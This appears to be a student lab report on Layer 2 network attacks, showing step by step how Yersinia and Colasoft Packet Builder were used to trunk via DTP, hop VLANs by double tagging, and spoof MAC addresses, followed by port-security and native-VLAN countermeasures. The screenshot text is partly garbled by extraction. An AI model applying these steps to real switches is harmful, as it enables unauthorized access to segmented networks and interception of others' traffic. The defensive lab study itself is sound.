The difference between passive and active is mainly associated with network devices. Passive sniffing is harder to detect because the attack is done through a hub. A hub device is a 'Dumb device'; it has no intelligence but to forward packets out all ports. Therefore without any additional security, this attack is easily deployed and is difficult to detect that the attack is currently taking place. Active sniffing is harder to deploy on a network because a switch is more intelligent than a hub device. A switch uses MAC addresses to associate with devices on the network. Therefore the switch will only send out packets through the appropriate port where the receiving device is located. There is a disadvantage by associating MAC addresses to devices. An attacker can simply send bogus MAC addresses to the switch, or the attacker can use a current MAC address already in the switches CAM address table (see section MAC Address Spoofing).

Figure 1 shows an attacker intercepting traffic between two workstations, the attacker can sniff valuable information that can later be used in other attacks. The attacker must rely on both workstations to make sure they are authenticated and are sending data.

VLAN Hopping

VLANs operate at layer 2 (*Data Link*) within the OSI model. VLANs are used to sufficiently segment network

areas. VLANs group areas within a network even if they are not connected on the same switch. Switches use trunking to allow multiple VLANs to be shared. When trunking is enabled, packets are attached with specific VLAN ID which informs the end users the VLAN which the packets were sent from. There are many advantages in implementing VLANs, these are as follows:

- Security
- Network scalability
- Broadcast filtering
- Traffic management

VLAN security is best demonstrated when grouping departments. Organizations can use this to group departments where one VLAN can deny access to another VLAN by managing the flow of traffic. Security can be bypassed by using VLAN hopping techniques which is used to gain unauthorised access to another VLAN. (This will be discussed more in detail in sections *Double Tagging* and *Switch Spoofing*).

Network scalability in a VLAN is particularly useful when implemented correctly. VLANs are also used to accommodate fewer users within a broadcast domain. As discussed previously VLANs are generally used to segregate physical segments on a network even if they are not located on the same switch. By separating segments into logical sections, network troubleshooting is made easier. Also future expansions are easily deployed by adding devices to an existing VLAN.



Figure 2. Example of VLANs



Figure 3. 802.1Q Frame

Broadcast filtering is an important feature of VLANs. Broadcast packets are used to discover devices, and are transmitted in every network to every connected host. This creates a huge problem in terms of bandwidth and network reliability. Broadcast packets are sent out of switches if a particular device on the network is not identified in a switch's CAM address table. When segmenting networks with VLANs, broadcast packets in one VLAN are not transmitted across other VLANs, this reduces broadcast storms on the network.

Traffic management is another benefit when deploying VLANs within a network environment. Controlling broadcast packets is the main concept within traffic management. As discussed earlier broadcast packets are contained within a specific VLAN, other VLANs would not receive this broadcast. Therefore maintaining broadcast packets increases the available bandwidth within each VLAN. Traffic management also consists of **Table 1.** *802.1Q Frame Description*

defining which VLANs are allowed to communicate with each other; this relies on the whole concept of company departments.

There are two types of VLAN hopping techniques, these include switch spoofing and double tagging.

Double Tagging

In this attack, the attacker sends data to the first switch containing two 802.1Q frame headers. The victims switch will accept this data as both the frame headers contain the appropriate data for a VLAN. The first frame will be spoofed. The first switch will remove the first spoofed frame and forward the legitimate packets towards the destination through trunk ports. The second switch forwards the inner layer of the frame to the correct VLAN based on the VLAN ID. An 802.1Q frame contains ten parts (see Figure 3 – 802.1Q Frame and Table 1)

For "Double tagging" attacks to be successful, the attacker must be attached to an access port on a switch. Also the access port must be the same as the native VLAN. As native VLANs only exist in 802.1Q, this attack will not work with the ISL protocol. Double tagging attack is successful because the 802.1Q trunk does not tag the frames from a native VLAN (See Figure 4 – Double Tagging Example and Figure 5 – 802.1Q Double Tagged Frame).

802.1Q Frame Descriptions DA (Destination Address) - should be set to multicast address of "0x01-00-0c-00-00". . SA (Source Address) - This should be set to the MAC address of the switch port where the victim is located. . Tag – This field identifies which protocol to use to transport the data. In this cast it is 802.1Q tagged frame. . Type - Field is used to indicate the type of frame used. E.g. Ethernet, token ring, FDDI or ATM Len or Length – Length of the packet as a 16bit value. . FCS or Frame Check Sequence - A 32bit check sum value, this is created by the senders MAC and checked against the receiving MAC address. TPID – Tag protocol identifier is used to identify which protocol is used to transport the tagged frame across the network. Priority – This is used to prioritize the traffic, this value ranges from 0 to 7 where 0 is very low and 7 is instantly. CFI – Canonical format indicator, this value indicates if a MAC address is canonical format with a 0 or 1. VID - VLAN ID, this is used to indicate which VLAN the frame originated from. First Tagged Frame Contains the First switch strips the first Native VLAN 1. Second switch transmits tag and send to the The second contains the victims the frame to VLAN 10. second switch. VLAN 10 VLAN 10 VLAN 1 **VLAN 10** VLAN 10 802.1Q Trunking Used. Victim Attacker Native VLAN: 1 (VLAN 10)

(VLAN 1)
Figure 4. Double Tagging Example

ONDemanD

DA	SA	ЕТуре	VLAN Tag	ЕТуре	VLAN Tag	Len/EType	Data	FCS			
	Outer Tag (Stripped off by first Switch)										
	Inner	Tag (Transpo	orted by second	l switch)							

Figure 5. 802.1Q Double Tagged Frame

Table 2. Equipment List Equipment List

- 4x PC's with Windows XP workstations
- 1x PC with Linux Backtrack 3 VMware Image
- 2x Cisco 3560 Switches
- · 1x Cisco 2621 Router
- · GNS3 network simulation

Switch Spoofing

Switch spoofing involves an attacker's device being able to act as a switch and take part in the auto trunking by emulating the 802.1Q or ISL signal with DTP (Dynamic Trunking Protocol). Switch spoofing is caused by the auto-trunking feature being turned on a switch port. If the attacker manages the spoof, the attacker is able to view vital switch and sensitive information which can be used for further attacks on the network. If a switch port is configured with auto-trunking feature the attacker can send a DTP frame to the switch, the switch will accept this packet and acknowledge the device as a switch on the network and thus trunk with this device.

DTP dynamic desirable is enabled by default on Cisco Switches. This feature is used against switches. The DTP dynamic auto feature is used to negotiate a trunk with the attacker's device.

Table 3. Backtrack3 Software

Backtrack 3 Software

- Yersinia This tool will be used for VLAN hopping. Yersinia contains attacks for STP (Spanning Tree Protocol), CDP (Cisco Discovery Protocol), DTP (Dynamic Trunking Protocol), VTP, 802.1Q and so on.
- Colasoft Packet Builder This software is used to build packets such as ARP, TCP, UDP and IP. This software will be used to spoof a MAC address.
- Wireshark Protocol analyser tool to capture packets across the wire to analyse, this software can be used to troubleshoot the network.

Methodology

Introduction

Denial of Service, MAC spoofing and VLAN hopping attacks are most common in networks. By using the 'Introduction' these threats will be implemented using a test network. By using the test network without any configured security, these tests will provide enough evidence and knowledge to re-design a more secure network to countermeasure these attacks on the network.

The following list of equipments will be used to accomplish these tasks: Table 2.

For these attacks, the following tools within Backtrack 3 will be used: Table 3.



Figure 6. Test Network

Table 4. Security Settings

Switch	Enable Password	Enable Secret	Telnet Password	Port Security	Native VLAN	Access Lists
Switch 1	Cisco	Cisco	Class	None	1	None
Switch 2	Cisco	Cisco	Class	None	1	None

These attacks will answer the following questions:

- Can an attacker use Yersinia to hop from one VLAN to another by using known techniques.
- Whether the attacker can easily sniff traffic from a legitimate host using MAC spoofing.
- If a more secure network design has been implemented, if this design will stop these attacks from occurring again.

Test Network

Switch 1 and Switch 2 currently has minimal security invoked on them. The attack PC in VLAN 1 will be continuously used through the testing of VLAN hopping (Figure 6).

Table 4 shows the configured security settings; the table shows basic passwords for console, telnet and login. The trunk ports have been left as native VLAN 1 (default setting), also the switches have no access lists.

Test 1 – VLAN Hopping

In this attack, the network topology illustrated in Figure 12 in *Appendix A* will be used. The following test will illustrate how to use Yersinia to successfully bypass layer 3 devices and hop between VLANs, the test also should provide enough evidence to design a network with security to mitigate this attack. An attacker can use this technique to implement other attacks such as viruses and so on. The only disadvantage is that for

this attack to be successful, an attacker must depend on improper network configurations. See *Appendix A VLAN hopping*.

Test 2- MAC address spoofing

The network topology illustrated in Figure 45 in *Appendix A* will be used. Software called Colasoft Packet Builder will be used to craft spoofed ARP packets. MAC spoofing is used to convince the switch that two same MAC addresses are located on different switchports. The switch will therefore forward packets to both switchports, this allows an attacker to sniff the packets that were initially destined for another host/ device. Again this attack relies on poorly configured network settings mainly default settings on a switch will allow this attack to take place. See Appendix A MAC spoofing.

Redesign network with security

Introducing the following features:

- · Port security
- Changing of native VLANs and properly specifying switchport modes.
- Using MD5 algorithms to add extra protection.

VLAN Hopping

In this test the network topology illustrated in Figure 47 in *Appendix B* will be used. In this test, the network needed to be more robust and eliminate VLAN hopping

References

- Antoon W, R. (2006)Vulnerabilities, Threats and Attacks. In: e.g. Smith, A Network Security 1 and 2 Companion Guide. 1st ed. Indianapolis: Cisco Press. p32-33.
- Cole, E. (2001) Denial of Service Attacks. In: Cole, E. Hackers Beware: Defending Your Network from the Wily Hacker. 1st ed. Indiana: SANS QIRC. 178.
- Drab, D.(2006) Network Peripherals: A Weak Link in Security and an Open Gateway for Attackers. Medium: [Online] Available:
 http://www.infosectoday.com/Articles/networkedperipherals.htm; Last accessed 02 January 2009.
- Goodin, D. (2008). Swiss boffins sniff passwords from (wired) keyboards 65 feet away. Medium: [Online] Available: http://www.theregister.co.uk/2008/10/20/keyboard_sniffing_attack/; Last accessed 20 January 2009.
- Harvey, M. 2008. Why veins could replace fingerprints and retinas as most secure form of ID. Times Online [Online] 11th February. Available: http://technology.timesonline.co.uk/tol/news/tech_and_web/article5129384.ece; [Last accessed: 15th January 2009]
- LaRoche, G. (2006). Information and Physical Security: Can They Live Together?. Medium: [Online] Available: http://www.infosectoday.com/Articles/convergence.htm; Last accessed 10 January 2009.
- Patrikakis, C., Masikos, M. & Zouraraki, O, 2008. Distributed Denial of Service Attacks. The Internet Protocol Journal, Medium: [Online], 7 (4) Available: http://www.cisco.com/web/about/ac123/ac147/archived_issues/ipj_7-4/dos_attacks.html; [Last accessed 2nd January 2009]
- Techwhack. (2008). WordPress.com under a denial-of-service attack.. Medium: [Online] Available: http://news.techwhack.com/ 7151-wordpress; Last accessed 04 January 2009.
- Turner, D. (2008). Attackers Exploit Trusted Entities. Medium: [Online] Available: http://www.infosectoday.com/Articles/Threat_ Landscape.htm; Last accessed 7 December 2008

ONDemanD

attacks from occurring. From the previous test it was found that by changing the native VLAN for the trunks to an unused and assigning unused switchports as access ports, this would eliminate VLAN hopping. See *Appendix B VLAN hopping*.

MAC spoofing

The results from the previous test suggested port security should deny any spoofed packets from entering into the network. Cisco's port security is to be applied to all switchports, this will allow 1 MAC address to be dynamically learnt by each port. See *Appendix B MAC spoofing*.

Analysis of Results

Test 1 – VLAN hopping

Test 1 was implemented to show whether an attacker can perform 802.1Q double tagging attack on a network design with no security. The goal of this attack is to hop to inaccessible VLANs on the network. The first network design consisted of default settings. As the default DTP settings were enabled on all switchports, the attacker was able to trunk with the switch by sending DTP packets. As the attacker's VLAN and the native VLAN between the switches were identical, this meant the first switch would strip off the outer layer of the packet. The second switch would only see the inner layer of the packet, the inner layer contained the victim's information such as VLAN ID, MAC address and IP address. Whereas the outer layer contained the attacker information such as VLAN ID, MAC address and IP address. As the second switch would only see the inner layer, the second switch forwarded the packet to all VLANs identified in the inner layer. This test also proved the attack needed two switches to perform deencapsulation. The test showed an attacker trying to hop on a VLAN on the same switch. This found to be unsuccessful. Using Wireshark to sniff the packets, the attacker sent out an ICMP request. Only if the victim sent an ICMP reply back to the attacker's PC was the attack successful.

To countermeasure against VLAN hopping, the network was redesigned with security. The new secure network design did not include the default settings such as DTP, native VLAN 1 and assigning VLAN 1 to all switchports. To disable DTP on all switchports, the command switchport nonegotiate was entered. All unused switchports were defined as access ports by using the command switchport mode access. The native VLAN ID between the two switches was changed to an unused VLAN, in this case VLAN 99. This meant the switches could not strip off the outer layer of the packets. With security added on the network, the test was re-tried. The attacker was unable to perform 802.1Q double tagging attack as the attacker could not trunk with the switch as DTP was disabled on all switchports. On all occasions, the attacker did not receive any ICMP reply packet from the victim's VLAN. This proved to defeat VLAN hopping all together.

Test 3 – MAC spoofing

Test 3 shows that sending a MAC address that already exist on the network, the switch will forward a packet destined for PC 1 to be forwarded to the attacker's PC as well as PC 1's switchport. Test 3 also showed proof of this by the Wireshark output from the attacker's PC. The attacking PC used Colasoft Packet Builder and sent a spoofed ARP packet to the switch's VLAN. The switch modified its CAM table to add a duplicate MAC entry. The switch thinks that FastEthernet 0/1 and FastEthernet 0/2 have the same MAC addresses, this caused traffic destined only for FastEthernet 0/2 to be forwarded out both FastEthernet 0/1 and 0/2.

The new network design used port security on all switchports. The settings include only allowing the switch to learn 1 MAC address dynamically per port. If the switchport is violated, the switchport will shutdown immediately. This feature was used to prevent the

Bibliography

- Bharat, B. (2006). The Spiral Model: IT Project Management Solutions?. Medium: [Online] (Updated 19th November 2006) Available: http://www.buzzle.com/articles/spiral-model-it-project-management-solutions.html; [Last accessed 22 April 2009]
- Moser, M.(2009) Supplying offensive security products to the world. Medium: [Online] Available: http://www.remoteexploit.org/about.html; [Last viewed 22 April 2009]
- Shannon, M. CBT Nuggets Security+ 2008 Medium: [Training Video] [Last viewed 23 April 2009]
- Rounder, R.(2008) Prototype Advantages and Rapid Prototyping Benefits. Medium: [Online] (Updated 7July 2008) Available: http://www.prlog.org/10086609-prototype-advantages-and-rapid-prototyping-benefits.html; [Last accessed 22 April 2009]
- Whatis.com. (2008) What is waterfall model?. Medium: [Online] (Updated 13 November 2008) Available: http://searchsoftware quality.techtarget.com/sDefinition/0,,sid92_gci519580,00.html; [Last accessed 22 April 2009]
- VMWare. (2009) VMware Virtualization Solutions Increase IT Efficiency and Virtual Management. Available: http:// www.vmware.com/solutions/; [Last accessed 23 April 2009]
- Whatis. (2008). What is a spiral model?. Medium: [Online] (Updated 1 May 2008) Available: http://searchsoftwarequality.techta rget.com/sDefinition/0,,sid92_gci755347,00.html; [Last accessed 22 April]
- Mariosalexandrou. (2009). Waterfall (a.k.a Traditional) Methodology Medium: [Online] Available: http://www.mariosalexandrou.com/ methodologies/waterfall.asp; [Last accessed 22 April 2009]

attacking PC to spoof its source. To test if this feature would prevent MAC spoofing attacks, the attacker sent another spoofed ARP packet using Colasoft Packet Builder. Immediately the switchport was violated as the attacker sent a MAC address which was dynamically learned on another port. The attacker's switchport immediately shuts down. Wireshark was used to capture packets on the attacker's switchport. The output showed the traffic was not received or sniffed by the attacker; this is because the attacker's switchport was shutdown.

Conclusion

This report has gone in depth of investigating many popular attacks. Many of the attacks described are easy to implement which in turn can cause a lot of damage on a network. A lot of these attacks are not taken seriously. As described in the review of existing knowledge, WordPress.com had been recently been a target of a DoS attack that caused serious damage on their network. Many of these attacks are easily reduced by proper network configurations.

The original aim of this project was to find weaknesses on a network without security. This report identified major vulnerabilities on a non-secure network and the consequences faced. Many of the attacks allow an attacker to exploit further threats on a network such as TCP/IP hijacking, privilege escalation and so on. Cisco's port security feature proved to be effective in defeating against MAC spoofing attacks on the network. The attacker was unable to spoof another MAC address which in turn denied the attacker to sniff other traffic on the network.

Port security also proved to be successful against spoofed TCP SYN attacks. An attacker was unable to spoof its source, as it must use its own IP address and MAC address. Without this feature, the attacker was able to deny legitimate traffic accessing port 23, this was because of the attacker constantly sending SYN packets to the target machine which also created a list of 'half open connections'.

VLANs proved to be a huge vulnerability on a network. For VLANs to be effective on a network, a network administrator would need to properly configure them. The tests proved that changing the default VLAN (VLAN 1), disabling DTP, correctly specify trunks and access ports and change the native VLAN on the trunk ports to an unused VLAN would eliminate VLAN hopping attacks from occurring on the network.

After implementing and evaluating all the tests, it can be said that network security is important. Many of the attacks that were carried out could lead to sensitive information being available to an attacker. By checking default and weak security settings, many of these attacks can be mitigated on the network.

Appendix A - Test Network without Security

VLAN Hopping

Using the test network shown in Figure 6, VLAN hopping attacks will be implemented. As shown in Table 9 there is minimal security on both Cisco switches. To carry out this attack, a powerful layer 2 attacking software (Yersinia) will be used. This software

🛄 Tera Term	Web 3.1 - COML V	T			
Elle Edit Se	tup web Control	Window Help			
Fa0/1	1-3				
Port Fa0∕1 Switch1≢s	Vlans in s 1-3 h int trunk	panning tree for	warding s	tate and not pruned	
Port Fa0/1	Node	Encapsulation 802.1q	Status trunkin	Native vlan g 1	
Port Fa0/1	Vlans allove 1-4094	d on trunk			
Port Fa0/1	Vlans allo 1-3	wed and active in	n nanagen	ent domain	
Port Fa0/1	Vlans in s 1-3	panning tree for	warding s	tate and not pruned	
00:27:00: 00:27:03 Switch1#s	%LINEPROTO-5 %LINEPROTO-5 h int trunk	-UPDOWN: Line pro -UPDOWN: Line pro	otocol on otocol on	Interface FastEthernet0/5, changed state to down Interface FastEthernet0/5, changed state to up	
Port Fa0/1 Fa0/5	Mode on desirable	Encepsulation 002.1q n=802.1q	Status trunkin trunkin	Native vlan 9 1 9 1	
Port Fa0/1 Fa0/5	Vlans allove 1-4094 1-4094	d on trunk			
Port Fa0∕1 Fa0∕5	Vlans allo 1-3 1-3	wed and active is	n nanagen	ent domain	
Port Fa0/1 Fa0/5 Switch1#s	Vlans in s 1-3 none h vlan	penning tree form	warding s	tate and not pruned	
VIAN Name			Status	Ports	
l defa	ult	ł	active	Fab'4, Fab'5, Fab'7, Fab'0 Fab'5, Fo'10, Fab'11, Fab'12 Fab'73, Fo'14, Fab'15, Fab'15, Fab'16 Fab'17, Fab'18, Fab'19, Fab'20 Fab'21, Fab'23, Fab'23, Fab'24 Gab'2, Gab'2	
2 Sale 3 Engi	s neering		ctive ctive	Fa0/2 Fa0/3	-

Figure 11. Before sending DTP packet

is available on Linux Backtrack 3 operating system and only works within a Linux environment. Switch port FA 0/5 has been left with default settings such VLAN 1 and switchport mode dynamic desirable.

As seen in Figure 11, FastEthernet 0/5 is not trunked with the attacking PC. To trunk the attacker's FastEthernet port a DTP packet is sent from the attacker's system to the intended switch.

			100 Million (1997)	
🖵 yersinia 0.7.1 by Slay & tomac - DTP mode ————		[16:13:29	9]1 ^
Neighbor-ID Status Domain	Iface	Last s	een	
0246472F74A1 ACCESS/DESIRABL	etho	24 Feb	16:06:.	34
0000DBL5F5784 IRUNK/AUTO ABL	etho	24 Feb	16:13:0	16
0246472F74AI IRUNK/DESIRABLE	euno	24 Feb	10:12:	10

L Total Packets: 491 — DTP Packets: 32	- MAG	Spoof	ing [X]	
DTP Fields Source MAC 00:0C:29:EC:76:02 pestination MAC 01:00:0C: Version 01 Neighbor-10 0246472E74A1 Status 03 Type A5 Domain	CC:CC:C			

Figure 12. DTP with Yersinia

ONDemanD



Figure 13. After DTP trunking

The source address needed to be changed according to the MAC address of Backtrack 3 $_{eth0}$ interface. By pressing 'E' the fields can be changed. In this case the source MAC address is $_{00:0C:29:EC:76:02}$. The 'Domain' field needs to be changed to the VTP domain created on the switches. In this case the 'Domain' field is "ABC". Once the appropriate fields have been filled, by pressing 'X' (for attack menu) and '1' (to enable trunking) DTP packets will be sent out of the $_{eth0}$ port. The status shows that the port is in Trunk/Desirable, the status reflects the settings on the switch's FastEthernet 0/5 port. The end result will allow FastEthernet 0/5 to be trunked with the switch.

As seen in Figure 13, FastEthernet 0/5 has been trunked. The current mode (desirable) enables any device on the network to trunk with the switch using a crafted DTP packet. The n-802.1q encapsulation indicates the trunk has been negotiated with the switch and the connected host or device.

Once a trunk has been established between the attacker and the switch, VLAN hopping attacking can now take place, by pressing 'G' for the attack menu and then choosing 802.1Q mode.

As seen in Figure 14, the required fields have been highlighted. The source MAC address of 00:00:29: CF:42:DE is associated with Linux Backtrack 3's eth0



Figure 15. Single 802.1Q command

connection. The destination MAC address of 00:50:56: C0:00:08 is the physical network connection belonging to the victim. In this case the victim is located on switch 2 in VLAN 2. The field "VLAN" needs to be linked to the attacker's VLAN number which also should be the native VLAN for the trunk link between the two switches. In this case VLAN 1 (default) is being used for the attacker. The field "VLAN2" is linked to the victim's VLAN on switch 2. In this case the victim belongs to VLAN 2. The source IP address is the etho network connection from Linux Backtrack 3, as shown above the address of 192.168.1.5 has been used. The destination IP address of 192.168.2.2 belongs to the victim in VLAN 2.

To test the success of VLAN hopping double tagging, Firstly Figure 16 – Failed attempt shows a failed attempt to hop VLANs. This test was implemented by sending a single 802.1Q packet. The attack menu was opened simply by pressing 'X'. The menu appeared with a list of available attacks to implement. (Figure 15 – Single 802.1Q command). Remember a single 802.1Q packet will only contain the one tag. In this case the packet only contained:



Figure 14. Required Info



Figure 16. Failed Attempt

ntory X	A Itane (1003)		
RT3		Intitled) - Wireshark	
29.	Ele Edit Yew Go Capture Bralyze Statis	lici Help	
Exploration Server Windows Server 2003		📇 🖻 🗢 🗢 🐴	
	M finer	* 💠 Expres	sion Sclear V bosty
	No . Time Source	Destination	otocol Info
	545 266.137675 cc:02:08:8c:f1:02 546 268.156198 cc:02:08:8c:f1:02	PVST+ S PVST+ S	<pre>IP Conf. Root = 32768/cc:0 IP Conf. Root = 32768/cc:0 IP Conf. Root = 32768/cc:0</pre>
	547 268.164713 cc:02:05:8c:f1:02	PVST+ S	P Conf. Boot = 32768/cc:8
	548 268.249961 cc:02:08:8c:f1:02	Spanning-tree-(for-br 5	/P Conf. Root = 32768/cc:0
	549 208.205109 CC10210816C111182 550 268.314506 192 168.1.5	192 168 2 2	MP Echo (ping) request
	551 268.314830 Cisco 3c:78:00	Broadcast A	AP who has 192.168.1.57 T
	552 268.314878 Vmware_cf:42:de	Cisco_3c:78:00 A	RP 192.168.1.5 is at 00:00
	553 268.314986 192.168.2.2	192.168.1.5 I	MP Echo (ping) reply
	554 278.152863 cc:02:08:8c:f1:02	PVST+ S	IP Conf. Root = 32768/cc:0
			a second a second
	> Frame 547 (68 bytes on wire, 68 bytes	captured)	
	> Ethernet II, Src: cc:02:68:8c:f1:02 (c:02:08:8c:f1:02), Dst: F	VST+ (01:00:0c:cc:cc:cd)
	> 892.10 Virtual LAN		
	> Logical-Link Control		
	Spanning Tree Protocol		
	and at an an an an at an at an at		
	0000 01 00 00 00 00 00 00 00 00 00 00 00	02 81 80 80 83	
	0010 00 32 88 88 03 00 00 01 01 00 00 0020 80 cc 82 88 8c 88 82 88 88 88	88 88 cc 82 88	
	0030 8c 00 02 80 2b 00 00 14 00 02 00	of ee ee ee ee+	

Figure 17. Successful attempt to SW2 VLAN2

- Source MAC
- Source IP
- Destination MAC
- Destination MAC
- Priority
- CFI
- L2Protol
- VLAN
- Payload

Figure 15 shows the selected attack of single 802.1Q packet. Once this attack had been selected, the single packet needed to be sent out of the attacker's port. This was simply done by pressing '0 (Zero)'.

As seen in Figure 16, the single 802.1Q packet was not successfully received by VLAN 2 on switch 2. Figure 18 shows an ICMP Echo (ping) request being made by the attacker, there was also a broadcast to the IP address of 192.168.2.2 and 192.168.1.5. The broadcast of 192.168.1.5 was successfully as switch 1 had an ARP entry in its CAM table. Whereas there was no entry for the victim's IP address. The attack was not successful as this was a single 802.1Q packet.



Figure 18. SW2 (VLAN 3) unsuccessful using Single 802.1Q tag

ventory X	A 1500				
) 873 I Discovery Server I DS, Exploration Server Windows Server 2003	fre fot Ve	s Sa Saohare Brahyze	(Untitled) - Wireshark Statistics gep	₩ 주 ±	
	M filter			Depression	Clear V bosty
	Time	Source	Destination	Protocol Info	
	11 4.887972 12 4.691043	cc:02:08:8c:f1:02 cc:02:08:8c:f1:02 192 168 1 5	Spanning-tree-(for-br PVST+ 192 168 2 3	STP Cont STP Cont TCNP Ech	<pre>/. Root = 32768/cc:02:08: /. Root = 32768/cc:02:08: / [ning] request</pre>
	14 4.903289	192.168.2.3	192.168.1.5	ICMP Echi	(ping) reply
	15 5.999615 16 6.011041 17 6.093806 18 6.099836 19 8.031800 20 8.038139	cc:02:08:8c:fl:02 cc:02:08:8c:fl:02 cc:02:08:8c:fl:02 cc:02:08:8c:fl:02 cc:02:08:8c:fl:02 cc:02:08:8c:fl:02	PVST+ PVST+ spanning-tree-(for-br PVST+ PVST+ PVST+	STP Con STP Con	<pre>/. Root = 32768/cc:02:08: /. Root = 32768/cc:02:08: /. Root = 32708/cc:02:08: /. Root = 32708/cc:02:08: /. Root = 32768/cc:02:08: /. Root = 32768/cc:02:08:</pre>
				1	
	 Frame 10 (0 Ethernet II B02.10 Virt Logical-Lin Spanning Tr 	8 bytes on wire, 68 b , Src: cc:02:00:80:f1 wal LAN k Control we Protocol	ytes captured) :62 (cc:02:68:8c:f1:02)	, Dst: PVST+ (01:00:0c:cc:cc:cd)
	0000 01 00 0 0010 00 32 a	c cc cc cd cc 02 08 8 a aa 03 00 00 0c 01 0 2 08 8c 00 02 00 00 0	c fl 02 81 00 00 03 . b 00 00 00 00 00 00 00 . 0 00 88 00 cc 02 08 .	2	

Figure 19. Successful double tagging SW2 VLAN 3

The attack was carried out again, but this time the 802.1Q double encapsulation packet was sent out of the attacker's port.

As shown in Figure 17 the attack was successful by using 802.1Q double encapsulation packet. Packet 1 is an ICMP request; this indicates the attacker is requesting a packet to check connectivity. Packet 2 is an ARP broadcast packet, the ARP broadcast packet is looking for the IP address of 192.168.1.5. Packet 3 contains the reply back from the attacker and the MAC address. Packet 4 is an ICMP reply packet, this packet indicates that the ICMP request successfully reached the intended recipient. The attack was successful as the attacker sent out a packet with a double tagged packet, the double tagged packet contained:

- Source MAC
- Source IP
- Destination IP
- Destination MAC
- Priority
- Priority 2
- CFI



Figure 20. Unsuccessful to SW1 VLAN 2

ONDemanD

Table 2. VLAN Hopping Double Tagging Results

Source Switch	Destination Switch	Source VLAN	Destination VLAN	Tag	Successful?						
Different Switch											
1	2	1	2	2	Yes						
1	2	1	3	3	Yes						
Same Switch	Same Switch										
1	1	1	2	2	No						
1	1	1	3	3	No						

CFI 2

- L2Protol
- L2Protol2
- VLAN
- VLAN2
- IP Prot
- Payload

This time the attacker got a reply back from the victim. This is because the trunk between switch 1 and switch 2 has a native VLAN of 1, this VLAN has been assigned to the attacker's access port. If the native VLAN between the switches has been assigned to any access ports, the frames will go untagged. Therefore once the attacker sends the double tagged packet, switch 1 will remove the outer layer of the frame. Switch 1 will forward the remaining packet through the trunked port; switch 2 will receive the packet which is left with only the inner layer. Switch 2 will see this packet is intended for VLAN 2 and forward the packet to the victim's switchport.

The following screen dumps are to prove that VLAN hopping is also possible to SW2 VLAN 3.

Figure 18 shows a single 802.1Q tagged packet sent out by the attacker. This time the attack is unsuccessful and the destination is unreachable. Packet 1 shows an ICMP request being sent by the attacker. Packet 2 is an ARP broadcast request for the victim's IP address (192.168.2.3). There is no ICMP reply being received by the attacker, therefore this attack is unsuccessful. Figure 19 shows an ICMP request packet has been sent to the victim's IP address (192.168.2.3), the victim replied to the attacker's request.

The next test is to prove that double tagging requires two switches to perform de-encapsulation on an 802.1Q VLAN packet.

Figure 21 and 22 show unsuccessful attempts to hop between VLANs on the same switch. The attack is unsuccessful because of the need for two switches. A switch is needed to de-encapsulate the VLAN packet in order to leave the inner packet intact. A switch only performs de-encapsulation once.

MAC spoofing attack

Figure 22 is to be used as the test network for MAC Spoofing attack. In this attack the attacker PC will spoof its source MAC address of PC 1. The attacker will achieve this by using Colasoft Packet Builder, by sending an ARP packet to the switch's VLAN the switch will replace the current attacker's MAC address with PC 1's MAC address. The aim of this attack is for the attacker to see traffic received for PC 1 being received by the attacker as well. This is mainly due to how switches work. A switch with correct MAC address entries will send out packets out the correct port. For example if PC 2 sends an ICMP request packet to PC 3, the attacker will not be able to see this as the switch will send the packet out of FastEthernet 1/3.

Firstly to prove MAC spoofing works, the switch has correct MAC address entries in its CAM table.



Figure 21. Unsuccessful to SW1 VLAN 3



Figure 22. MAC Spoofing test network

🚚 Telnet localhost	-					- O X
SV0#						-
SW0#show_arp						
Protocol Address	Age	(min)	Hardware Addr	Type	Interface	
Internet 192.168.1.1			c800.07f8.0000	ABPA	Vlan1	
Internet 192.168.1.2		6	0003.ff58.c221	ARPA	Ulan1	
Internet 192.168.1.4		10	0003.ff58.c221	ARPA	Ulan1	
Internet 192.168.1.6		0	0003.ff5c.c221	ARPA	Ulan1	
SUAT						
SUAT						
SUGH						
SU0#clear arm						
SUggshow aren						
Protocol Address	000	(nin)	Handuane Adda	Tume	Interface	
Internet 192 168 1 1	ngo	SIGTURE.	- 200 0762 0000	OPPO	lllant	
Internet 102 100 1 A		a	8983 110.000	OPPO	Ulani	
Internet 192 169 1 6		â	8983 FF50 0221	OPPO	llant	
CLIG#		0	0005.1150.0221	nnin	VIAIL	
CLIO#						
SW04						
Sweetsnow arp	A	1-1-5	Hand and Adda	T	Tetterfree	
rrotocol Haaress	нge	(min)	Hardware Hadr	Tobe	Incerrace	
102 100 100 100 10			0050 54-0 0004	ADDA	III I IIII	
Internet 192.168.1.2		ğ	0000.5500.0001	HRPH	Ulani	
internet 192.168.1.4		0	0003.ff58.c221	нвра	Ulani	
SW0#_		ы	0003.115c.c221	RRPH	Viani	-

Figure 23. Correct MAC entriesFigure 25 – Colasoft ARP Packet Builder



Figure 24. Wireshark on Attacker's switchport

Figure 23 shows correct MAC entries in the switch's table. To prove the switch sends out packets to the correct port, PC 2 sent out an ICMP request packet to PC 2's IP address of 192.168.1.4. Wireshark was opened to sniff the packet on the attacker's switch-port.

Figure 24 shows no traffic being received by the attacker from PC 1's switchport. This is because of

	1000	1000		
1 0.000000 00.00.4F-58-C2-21	C6:02:09.4C:00.	00 ADP	64 Who is 292,065,0,07 Tell	
role films			and the second	
	a contract de const			
Pelta Line	0.000000 Second			
Ethernet II Header	[D/14]			
Tastingtin, Libberty	CB-00-09-AC-00-00			
and a second second second second		and a state of the		
B Source Address	00:03:FF:50:C2:21	24/42		
Protocal:	00:03:FF:58:C2:21 0x0006	04/41 (11/13		
D Inate Address Protocol:	00:00:99:50:C2:21 0x0006	56.013 56.013		
Diners Adliver! Protocal: Pardvare type:	00:03:99:50:C2:21 0u0006	24/42 (11/23 (Rdemet) (14/21		
D Strate Additers Protocol: Partware Syne: Partware Syne: colorid Type:	00.03: FF S8(C2)21 0x8804 1 0x8800	14/61 (12/03 (Riternet) (14/01 (14/03		
Dantes Address Prezont: Prezont: Prezont type: Prezont type: Dantour Address Lengt:	00.03: FF S8(C2)21 0x8806 1 0x8800 6	50/01 (112/73) (Bubernet) (14/73) (14/73) (14/73)		
Processi:	00:00.97:58:02:21 0u0006 1 0u0000 6 4	50/41 (Edward) [14/71 (14/71] (14/71] (14/71] (14/71]		
forere Address forere Address foreres foreres foreres foreres foreres foreres foreres foreres foreres	00:03:FF:58:C2:21 0u5804 1 0u5804 6 4 1	20/31 [12/1] (Rhernet) [14/2] [14/2] [14/2] [14/1] [14/1] [14/1] [14/1]		
